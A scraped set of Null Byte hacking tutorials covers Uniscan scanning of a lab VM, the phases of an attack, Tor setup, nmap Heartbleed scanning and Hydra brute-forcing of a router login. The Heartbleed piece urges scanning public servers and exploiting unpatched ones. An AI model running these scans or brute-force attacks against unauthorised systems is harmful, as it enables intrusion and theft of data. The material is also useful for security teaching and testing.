Keys for This Simple DIY Swiss Army-Style KeychainNews:coconut swiss roll |
How to Detect Vulnerabilities in a Web Application with Uniscan Β« Null Byte :: WonderHowTo | With the number of web applications out there today, it comes as no surprise that there are just as many vulnerabilities waiting for hackers to discover. Finding those vulnerabilities can be a difficult task, but there are plenty of tools available to make the process easier. While it won't help find any zero-days, web scanners such as Uniscan will detect common vulnerabilities.Uniscanis a simple web vulnerability scanner that searches for common flaws likelocal file include,remote command execution, andremote file includevulnerabilities. It's also able to fingerprint and enumerate web services, interesting files and directories, and server information. This tool is written in Perl and is available as an intuitive command line tool or as a GUI.Don't Miss:Scan Websites for Vulnerabilities Using an Android PhoneIf you're using Kali Linux as your pentesting station, Uniscan is included in it so there's no need to install anything. For everyone else, you can download it fromSourceForge. In this guide, we'll be testing Uniscan out against the vulnerable virtual machineMetasploitable 2.Scanning the TargetUniscan has a number of different options we can employ for a scan. Simply open up theterminaland typeuniscanoruniscan -hat the prompt, and it will display version information, available options to set, and a few usage examples. If you don't see this screen in Kali, you don't have it installed somehow, but you can get it quickly usingapt install uniscan.uniscan
####################################
# Uniscan project #
# http://uniscan.sourceforge.net/ #
####################################
V. 6.3
OPTIONS:
-h help
-u <url> example: https://www.example.com/
-f <file> list of url's
-b Uniscan go to background
-q Enable Directory checks
-w Enable File checks
-e Enable robots.txt and sitemap.xml check
-d Enable Dynamic checks
-s Enable Static checks
-r Enable Stress checks
-i <dork> Bing search
-o <dork> Google search
-g Web fingerprint
-j Server fingerprint
usage:
[1] perl ./uniscan.pl -u http://www.example.com/ -qweds
[2] perl ./uniscan.pl -f sites.txt -bqweds
[3] perl ./uniscan.pl -i uniscan
[4] perl ./uniscan.pl -i "ip:xxx.xxx.xxx.xxx"
[5] perl ./uniscan.pl -o "inurl:test"
[6] perl ./uniscan.pl -u https://www.example.com/ -rThe most basic way to use this tool is to give it a URL to scan by setting the-uflag, followed by the domain of interest, as shown below. It will return a brief summary, including information about the server and IP address.uniscan -u http://172.16.1.102
####################################
# Uniscan project #
# http://uniscan.sourceforge.net/ #
####################################
V. 6.3
Scan date: 29-1-2019 14:52:26
===================================================================================================
| Domain: http://172.16.1.102/
| Server: Apache/2.2.8 (Ubuntu) DAV/2
| IP: 172.16.1.102
===================================================================================================
===================================================================================================
Scan end date: 29-1-2019 14:52:26
HTML report saved in: report/172.16.1.102.htmlWe can also perform more detailed server fingerprinting by using the-joption β simply append it to the end of the command. This will run a ping test and traceroute to determine the network connectivity status, followed by an nslookup (name server lookup) to obtain anyDNS recordsthat are available. This option will also kick off anNmap scanto discover any open services and ports, so be aware of the target as some defenses will consider this aggressive.uniscan -u http://172.16.1.102 -j
####################################
# Uniscan project #
# http://uniscan.sourceforge.net/ #
####################################
V. 6.3
Scan date: 29-1-2019 14:53:23
===================================================================================================
| Domain: http://172.16.1.102/
| Server: Apache/2.2.8 (Ubuntu) DAV/2
| IP: 172.16.1.102
===================================================================================================
===================================================================================================
| PING
|
| PING 172.16.1.102 (172.16.1.102) 56(84) bytes of data.
| 64 bytes from 172.16.1.102: icmp_seq=1 ttl=64 time=0.937 ms
| 64 bytes from 172.16.1.102: icmp_seq=2 ttl=64 time=1.77 ms
| 64 bytes from 172.16.1.102: icmp_seq=3 ttl=64 time=1.16 ms
| 64 bytes from 172.16.1.102: icmp_seq=4 ttl=64 time=1.18 ms
|
| --- 172.16.1.102 ping statistics ---
| 4 packets transmitted, 4 received, 0% packet loss, time 8ms
| rtt min/avg/max/mdev = 0.937/1.261/1.767/0.309 ms
===================================================================================================
| TRACEROUTE
|
| traceroute to 172.16.1.102 (172.16.1.102), 30 hops max, 60 byte packets
| 1 172.16.1.102 (172.16.1.102) 1.314 ms 1.554 ms 1.782 ms
...Uniscan has an option to fingerprint web services, too. Use the-goption to do so. This will look for interesting HTTP methods, error information, and HTML strings, as well as other little tidbits that might aid in reconnaissance. We can see below that it found a couple of 404 errors and the greeting information when logging into Metasploitable.uniscan -u http://172.16.1.102 -g
####################################
# Uniscan project #
# http://uniscan.sourceforge.net/ #
####################################
V. 6.3
Scan date: 29-1-2019 14:54:43
===================================================================================================
| Domain: http://172.16.1.102/
| Server: Apache/2.2.8 (Ubuntu) DAV/2
| IP: 172.16.1.102
===================================================================================================
===================================================================================================
| Looking for Drupal plugins/modules
|
| GET,HEAD,POST,OPTIONS,TRACE
===================================================================================================
===================================================================================================
| WEB SERVICES
|
===================================================================================================
| FAVICON.ICO
|
===================================================================================================
| ERROR INFORMATION
|
| 404 Not Found Not Found The requested URL /lKBpm<^reGdK(QpcajL+ was not found on this server. Apache/2.2.8 (Ubuntu) DAV/2 Server at 172.16.1.102 Port 80
| 404 Not Found Not Found The requested URL /7)DGG`[0wNqh""2Q1,LY was not found on this server. Apache/2.2.8 (Ubuntu) DAV/2 Server at 172.16.1.102 Port 80
===================================================================================================
| TYPE ERROR
|
===================================================================================================
| SERVER MOBILE
|
===================================================================================================
| LANGUAGE
|
===================================================================================================
| INTERESTING STRINGS IN HTML
|
| Warning: Never expose this VM to an untrusted network! Contact: msfdev[at]metasploit.com Login with msfadmin/msfadmin to get started
| a href="/phpMyAdmin/">phpMyAdmin
===================================================================================================
| WHOIS
|
getaddrinfo(whois.arin.net): Name or service not known
===================================================================================================
| BANNER GRABBING:
===================================================================================================
===================================================================================================We can crawl for directories located on the target by setting the-qflag. In my example, it looks like it discovered some directories that might be of interest, including what appears to be documentation andPHPconfiguration information.uniscan -u http://172.16.1.102 -q
####################################
# Uniscan project #
# http://uniscan.sourceforge.net/ #
####################################
V. 6.3
Scan date: 29-1-2019 14:56:28
===================================================================================================
| Domain: http://172.16.1.102/
| Server: Apache/2.2.8 (Ubuntu) DAV/2
| IP: 172.16.1.102
===================================================================================================
|
| Directory check:
| [+] CODE: 200 URL: http://172.16.1.102/doc/
| [+] CODE: 200 URL: http://172.16.1.102/icons/
| [+] CODE: 200 URL: http://172.16.1.102/index/
| [+] CODE: 200 URL: http://172.16.1.102/phpinfo/
| [+] CODE: 200 URL: http://172.16.1.102/payload/
===================================================================================================
===================================================================================================We can also enable file checks with the-wflag. Below we can see that it found a few files which could yield valuable information.uniscan -u http://172.16.1.102 -w
####################################
# Uniscan project #
# http://uniscan.sourceforge.net/ #
####################################
V. 6.3
Scan date: 29-1-2019 14:57:46
===================================================================================================
| Domain: http://172.16.1.102/
| Server: Apache/2.2.8 (Ubuntu) DAV/2
| IP: 172.16.1.102
===================================================================================================
|
| File check:
| [+] CODE: 200 URL: http://172.16.1.102/test
| [+] CODE: 200 URL: http://172.16.1.102/index.php
| [+] CODE: 200 URL: http://172.16.1.102/phpinfo.php
===================================================================================================
===================================================================================================Uniscan has the ability to automatically check a website for a robots.txt file and a sitemap by using the-eoption. In my example, those files do not appear to be present on the target, but nonetheless, it is a useful option when probing other sites.uniscan -u http://172.16.1.102 -e
####################################
# Uniscan project #
# http://uniscan.sourceforge.net/ #
####################################
V. 6.3
Scan date: 29-1-2019 14:58:36
===================================================================================================
| Domain: http://172.16.1.102/
| Server: Apache/2.2.8 (Ubuntu) DAV/2
| IP: 172.16.1.102
===================================================================================================
|
| Check robots.txt:
|
| Check sitemap.xml:
===================================================================================================
===================================================================================================Uniscan will load some plugins to perform dynamic checks on the target, including email identification, backdoor detection, and discovery ofSQLand other types of injection points. Set the-dflag to do this. This can take quite some time to run, and it doesn't always work correctly, so use at your own discretion.uniscan -u http://172.16.1.102 -d
####################################
# Uniscan project #
# http://uniscan.sourceforge.net/ #
####################################
V. 6.3
Scan date: 29-1-2019 14:59:13
===================================================================================================
| Domain: http://172.16.1.102/
| Server: Apache/2.2.8 (Ubuntu) DAV/2
| IP: 172.16.1.102
===================================================================================================
|
| Crawler Started:
| Plugin name: Web Backdoor Disclosure v.1.1 Loaded.
| Plugin name: Upload Form Detect v.1.1 Loaded.
| Plugin name: phpinfo() Disclosure v.1 Loaded.
| Plugin name: External Host Detect v.1.2 Loaded.
| Plugin name: FCKeditor upload test v.1 Loaded.
| Plugin name: E-mail Detection v.1.1 Loaded.
| Plugin name: Code Disclosure v.1.1 Loaded.
| Plugin name: Timthumb <= 1.32 vulnerability v.1 Loaded.
| [*] Crawling: [28 - 134]
...We can also enable some static checks on the target with the-soption. This will run tests that detect local file include, remote command execution, and remote file include vulnerabilities.uniscan -u http://172.16.1.102 -s
####################################
# Uniscan project #
# http://uniscan.sourceforge.net/ #
####################################
V. 6.3
Scan date: 29-1-2019 15:12:3
===================================================================================================
| Domain: http://172.16.1.102/
| Server: Apache/2.2.8 (Ubuntu) DAV/2
| IP: 172.16.1.102
===================================================================================================
===================================================================================================
| Static tests:
| Plugin name: Local File Include tests v.1.1 Loaded.
| Plugin name: Remote Command Execution tests v.1.1 Loaded.
| Plugin name: Remote File Include tests v.1.1 Loaded.
|
|
| Local File Include:
|
|
| Remote Command Execution:
|
|
| Remote File Include:
[*] Remaining tests: 1
...In addition to the command line tool, Uniscan has as a GUI. Simply typeuniscan-guiat the terminal prompt to launch the program. From here, it operates pretty much the same as in the command line interface; We can list the target URL and any options we want to be enabled, then hit "Start scan" to kick it off.Personally, I like the command line tool a little better since it runs the scan in the same way, plus you have to open the terminal up anyway to launch the GUI, but to each his own. It should be noted that in the command line version multiple options can also be set at the same time, like so:uniscan -u http://172.16.1.102 -qwdsUniscan also saves each scan as an HTML file under/usr/share/uniscan/report/if scan results are needed at a later time.Uniscan vs. Other ScannersThere is a lot of variety when it comes to web vulnerability scanners, and different tools can often accomplish the same goals. However, in certain situations, it pays to know what tool is right for the job. Let's take a brief look at a few other popular web scanners and how they compare to Uniscan.WMAPis a scanner available as a module inMetasploit. It performs a lot of the same tests as Uniscan, including HTTP method detection, directory enumeration, and a robots.txt search. It's useful when working within Metasploit's framework, but Uniscan is nice because it can be fired up quickly and utilized right in the terminal.Burp Suiteis a name synonymous with web application testing, and in many situations, it will outperform any other scanner. The major downside with Burp is the free Community Edition does not include the automatic scanner. It can still be used as a manual tool and proxy to great effect, but Uniscan has the advantage since it does a few things simply and doesn't cost a dime.Vegais another web scanner that is similar to Burp in many ways. It can also be used effectively as a proxy but is free and open source. Like Uniscan, Vega will find file include vulnerabilities in addition to other injection flaws. This tool is flexible since it can run on Linux, Mac, and Windows, but only in GUI form. Sometimes you just want an uncomplicated command line tool, and Uniscan wins in that regard.Niktois a popular web server scanner that is also written in Perl. The command line tool has a ton of features, and there is also a GUI version available. Similar to Uniscan, it also reports interesting HTTP headers, crawls directories, and fingerprints server information. Nikto is the scanner to use when a very detailed picture of the target is needed, but the slew of settings and options can sometimes be discouraging for a beginner. Again, for this reason, Uniscan excels at being a no-frills web vulnerability scanner.While all of these scanners are great tools for testing web apps for common flaws, Uniscan is the one to come back to when you need a quick-and-dirty web scanner that's noob-friendly.Don't Miss:How to Leverage a Directory Traversal Vulnerability into Code ExecutionFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byar130405/Pixabay; Screenshots by drd_/Null ByteRelatedAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)How To:Use export plug-ins in ApertureHow To:Exploit Remote File Inclusion to Get a ShellAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHack Like a Pro:How to Scan for Vulnerabilities with NessusHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Beginner's Guide to OWASP Juice Shop, Your Practice Hacking Grounds for the 10 Most Common Web App VulnerabilitiesHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:The Art of 0-Day Vulnerabilities, Part2: Manually FuzzingHow To:Audit Web Applications & Servers with TishnaHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHow To:Abuse Session Management with OWASP ZAPHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Firefox 16 Is Vulnerable to HackersβHere's How to Downgrade to the Safer Firefox 15 VersionHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHow To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Find the Latest Exploits and VulnerabilitiesβDirectly from MicrosoftHow To:Identify Web Application Firewalls with Wafw00f & NmapHow To:Exploit Java Remote Method Invocation to Get RootHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHeartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHow To:Trick Apps That Won't Run if Your Phone Is Rooted into Thinking Its Not on the Galaxy Note 3IPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Bugzilla Cross Site Request ForgeryHow To:10+ Time Saving Menu Bar Applications for MacNews:SENDtoREADER appHow To:Detect hackers on your network with EttercapForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal Logins |
The Five Phases of Hacking Β« Null Byte :: WonderHowTo | Five Phases of Hacking:-The five phases of Hacking are as follow:ReconnaissanceScanningGaining AccessMaintaining AccessCovering TracksThe Five Phases of HackingReconnaissance:- This is the primary phase where the Hacker tries to collect as much information as possible about the target. It includes Identifying the Target, finding out the target's IP Address Range, Network, DNS records, etc.Scanning:- It involves taking the information discovered during reconnaissance and using it to examine the network. Tools that a hacker may employ during the scanning phase can include dialers, port scanners, network mappers, sweepers, and vulnerability scanners. Hackers are seeking any information that can help them perpetrate attack such as computer names, IP addresses, and user accounts.Gaining Access:- After scanning, the hacker designs the blueprint of the network of the target with the help of data collected during Phase 1 and Phase 2. This is the phase where the real hacking takes place. Vulnerabilities discovered during the reconnaissance and scanning phase are now exploited to gain access. The method of connection the hacker uses for an exploit can be a local area network (LAN, either wired or wireless), local access to a PC, the Internet, or offline. Examples include stack based buffer overflows, denial of service (DoS), and session hijacking. These topics will be discussed in later chapters. Gaining access is known in the hacker world as owning the system.Maintaining Access:- Once a hacker has gained access, they want to keep that access for future exploitation and attacks. Sometimes, hackers harden the system from other hackers or security personnel by securing their exclusive access with backdoors, rootkits, and Trojans. Once the hacker owns the system, they can use it as a base to launch additional attacks. In this case, the owned system is sometimes referred to as a zombie system.Covering Tracks:- Once hackers have been able to gain and maintain access, they cover their tracks to avoid detection by security personnel, to continue to use the owned system, to remove evidence of hacking, or to avoid legal action. Hackers try to remove all traces of the attack, such as log files or intrusion detection system (IDS) alarms. Examples of activities during this phase of the attack include steganography, the use of tunneling protocols, and altering log files.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedMac for Hackers:How to Organize Your Tools by Pentest StagesHow To:Make a DIY phase-shift oscillator with a transistor, resistors and capacitorsHacking Elevators:How to Bypass Access Control Systems to Visit Locked Floors & Restricted Levels in Any BuildingHow To:Use Your Android Phone Without Ever Touching ItHow To:Avoid a phase when recording audioNews:Journaling App Day One Updates Will Keep Your Secrets BetterHow To:Customize the Face on Your Apple WatchHow To:Use Postenum to Gather Vital Data During Post-ExploitationToday's Tidbit:Candy Can Help You Curb "That Time of the Month"How To:How Do You Do a Business Plan? Part 1 of 5How To:Start a single phase induction electric motorNews:Moto's New Phones Are Fast Charging, Shatterproof, & ModularβBut Are Missing One Big ThingHow To:Apply Newton's laws of motion to landings with NASAHow To:Perform the binary routine magic card trickHow To:Make a phase blade in TerrariaHow To:Install the RRS phase 3 strut and disc brake packageNews:New Dinosaure GamesNews:Phase IVNews:Blaze Boss in MinecraftNews:Building zip lines in MassachusettsNews:Astronomical Observing News (3/14 to 3/20)News:Images of the Moon, Saturn, and Venus from My New TelescopeNews:Astronomical Observing News (AON) KickoffNews:Do the Do!News:Supermoon Pictures from Last NightNews:Phthalate free plasticizers - New material development.News:A little about Augmented Reality (AR)News:Biodynamic or Mystical Super-Organic WineNews:Unbrick your Sony PSP Fat or SlimNews:Astronomical Observing News (3/21 to 3/27)News:Astronomical Observing News (3/7 to 3/13)News:Astronomical Observing News (2/21 to 2/27)News:Astronomical Observing News (2/14 - 2/20)News:Astronomical Observing News (02/07 - 02/13)News:Astronomical Observing News (02/01 - 02/06)News:Astronomical Observing News (1/27 to 1/31)News:Astronomical Observing News (1/17 to 1/24)News:Astronomical Observing News (1/9 to 1/16)News:Astronomical Observing News (12/27 to 1/3)News:Astronomical Observing News (12/13 to 12/19) |
How to Become Anonymous on the Internet Using Tor Β« Null Byte :: WonderHowTo | The internet is a scary place, and if you're like me, you don't want anyone tracking you or learning your search habits. It's a blatant invasion of privacy for companies to do this, but at least we have methods of fighting backβone of which isTor.Tor stands forTheOnionRouter. It operates by donated bandwidth from its users. Tor encrypts your traffic, then forwards it through multiple nodes, like the layers of an onion, hence the name "The Onion Router". It protects you by masking your IP (Internet Protocol) address, which is synonymous to your home address. It also protects you by tunneling all of your traffic automatically, as if you hadset up a VPN, orSSH tunnel. Most of the time,Google Sharing, a Firefox plugin byMoxie Marlinspike, will suffice. But sometimes I need to be fully anonymous.Now, be forewarned, Tor isn't fully anonymous. Some things are left to the user to fix, such as changing your User Agent. A User Agent reveals your OS (operating system) and browser information. I'm a privacy nut, so I don't like people having that either. Also, you probably shouldn't be logging onto Facebook, as that will obviously reveal your information.In thisNull Byte, we're going to go briefly go over how to set up Tor, after which I will forward my traffic through it to show you that it's working. The methodology is the same on Windows and Linux, but I'll use Windows to avoid confusion.Download & Configure TorFollow along with the video and the instructions below.Please enable JavaScript to watch this video.DownloadTor.Install Tor.Navigate to the Data/Vidalia folder, and comment out the Browser line with "#" prefacing it.Run Tor.DownloadTorbutton.Restart Firefox and click the Torbutton, and it will run using Tor.If you have any questions or comments, hop onIRC, or start talk in theForums!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Become Anonymous & Browse the Internet SafelyHow To:Access the Dark Web While Staying Anonymous with TorTor for Android:How to Stay Anonymous on Your PhoneHow To:Stay as Anonymous as Possible OnlineNews:Reality of VPNs, Proxies, and TorHow To:The Top 80+ Websites Available in the Tor NetworkHow To:Is Tor Broken? How the NSA Is Working to De-Anonymize You When Browsing the Deep WebHow To:With the Silk Road Bust, the Online Black Market Already Has a New HomeHow to Become Anonymous Part 2:Tails: The OS Made for AnonymityNews:Anonymity Networks. Don't use one, use all of them!News:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeTor vs. I2P:The Great Onion DebateHow To:Use Tortunnel to Quickly Encrypt Internet TrafficEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersHow To:Who Is Anonymous? How the Wall Street Journal and the NSA Got It WrongHow To:Securely & Anonymously Spend Money OnlineHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebNews:Feds arrest several in connection to Drugs on Tor networks 'Silk Road'News:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep Web |
Hack Like a Pro: How to Scan the Internet for Heartbleed Vulnerabilities Β« Null Byte :: WonderHowTo | Welcome back, my budding hackers!Recently, I showed youhow you could exploitthe widely disseminated OpenSSL vulnerability that has to become known as "Heartbleed". Although the world has known about this vulnerability for over a month now, it will likely take many more monthsβor even yearsβfor everyone to close this vulnerability.Last week, Errata Security scanned the Web on port 443 looking for servers still affected by Heartbleed, and foundover 300,000+ serverspossibly still vulnerable, as compared to the600,000+from a month ago. If history is any judge, some websites will likely never patch this vulnerability. If that is the case, we can keep using this exploit for some time to come.In this tutorial, I will show you how to test a website/IP address to determine whether the Heartbleed vulnerability is available to you.Step 1: Open Kali & NmapThe first step is fire up Kali and get an nmap prompt. Fortunately, nmap is in our PATH variable and we can run it from any command prompt. The folks at insecure.org (Fyodor and friends) developed a script that scans a website to determine whether it is vulnerable to the OpenSSL vulnerability. That is what we will be using here.Step 2: Download Heartbleed ScannerWithKaliopen, we first need to download and install the Heartbleed scanner script fornmap. You can find ithere. Download and save it to the directory/usr/share/nmap/scripts.Of course, you can just copy and paste it into the Leafpad text editor in Kali (or any text editor) to the same location.Image viawonderhowto.comStep 3: Download & Install the Library FileThe nmap Heartbleed scanner requires a special library file to be effective. That file istls.lua. Download ithereor copy it tousr/share/nmap/nselib.Step 4: Run It Against WebsitesWith the Heartbleed script and the tls.lua library in place, we now are ready to begin hunting for vulnerable websites. The syntax for running this script is:nmap -sV --script=ssl-heartbleed 192.168.89.186Remember, I'm running it against a web server in my lab on my LAN here. When running against web servers on the Internet, simply replace my private IP with the public IP of the web server.Image viawonderhowto.comIf the website is vulnerable to the Heartbleed attack, it should get results similar that below.Image viawonderhowto.comAs most web administrators are slow to patch vulnerabilities, many web servers are still vulnerable to the Heartbleed attack. You can use this tool to find those servers and then use the Heartbleed exploit to extract critical information from the memory of the server, if it is vulnerable.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseHeartbleedimage via ShutterstockRelatedHeartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesHack Like a Pro:Hacking the Heartbleed VulnerabilityHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:How to Scan for Vulnerabilities with NessusNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 18 (Scheduling Jobs)Hack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Android for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:The Five Phases of HackingHow To:Scan for Vulnerabilities on Any Website Using NiktoHow To:Anti-Virus in Kali LinuxNews:The 5 Best Apps for Scanning Text & Documents on AndroidHow To:Perform a Large-Scale Network Security Audit with OpenVAS's GSAHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)How To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Drop Everything! Here's How to Secure Your Data After Heartbleed: The Worst Web Security Flaw EverHow To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesNews:Scandy Gives Tango Owners a Taste of 3D ScanningHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)How To:13 QR Code Scanners That Won't Send You to Malicious Webpages on Your iPhoneHow To:Conduct Recon on a Web Target with Python ToolsHow To:Scan Websites for Vulnerabilities with ArachniHack Like a Pro:How to Find the Latest Exploits and VulnerabilitiesβDirectly from MicrosoftHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapCamera Plus Pro:The iPhone Camera App That Does it All |
How to Hack Wireless Router Passwords & Networks Using Hydra Β« Null Byte :: WonderHowTo | Leaving your wireless router at its default settings is a bad idea. The sad thing is, most people still do it. Once they've penetrated your network, hackers will change your router settings so they'll have an easy way back in. This allows them to change your network into a shell or proxy so they can forward their traffic anonymously through you when committing other dirty deeds.If you keep your wireless router at the defaults, then hackers can control your firewalls, what ports are forwarded, and more.But never mind the hackers, what about your kids?In thisNull Byte, we're going to take a hack at our own wireless routers to see just how secure they really are. We'll be usingArch LinuxandTHC Hydra, abrute-forcingtool. Windows users, you can follow along if you useCygwin.Step1Download & Install HydraFirst we need to go to the Hydra website, download Hyrda, and get everything configured. In this article, a "cmd" refers to a command that has to be entered into a terminal emulator.Download Hydra fromTHC's website.Extract Hydra in a nice location.cmd:tar zxvf hydra-7.1-src.tar.gzChange to the newly made directory.cmd:cd <new directory>cmd:./configurecmd:makecmd:sudo make installStep2Use Hydra on Your RouterNow we're going to attack our routers. The default IP/URL to reach it at will be192.168.1.1, so test that address in a browser to confirm it. If you get a dialog box, you've reached your router. This is running HTTP basic authentication.Follow along to my video tutorial below to crack your routers authentication page.Please enable JavaScript to watch this video.Commands & Configurationcmd:xhydraEnter192.168.1.1as your target.Usehttp-getas the method.Port80.Pick a word list saved on your computer.Click start!Congratulations! See how easy it can be? A router won't block out requests normally, either. So someone could brute-force you for days upon days. Change your password to something greater than 12 characters and maybe reviewthis guide. Visit inIRC!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage byHydraRelatedHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Recover a Lost WiFi Password from Any DeviceHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Extend a (Hacked)Router's Range with a Wireless Adapter.Hack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Set up a Linksys WR54g or WRT54g2 wireless routerHow To:Find Saved WiFi Passwords in WindowsHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3News:Secure Your Wireless Network from Pillage and Plunder in 8 Easy StepsHow To:See Who's Stealing Your Wi-Fi (And Give Them the Boot)The Ultimate Guide:Diagnosing & Fixing Connection Issues, Part IIHow To:Get Free Wi-Fi from Hotels & MoreHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Encrypt a D-Link router with WEP password protection |
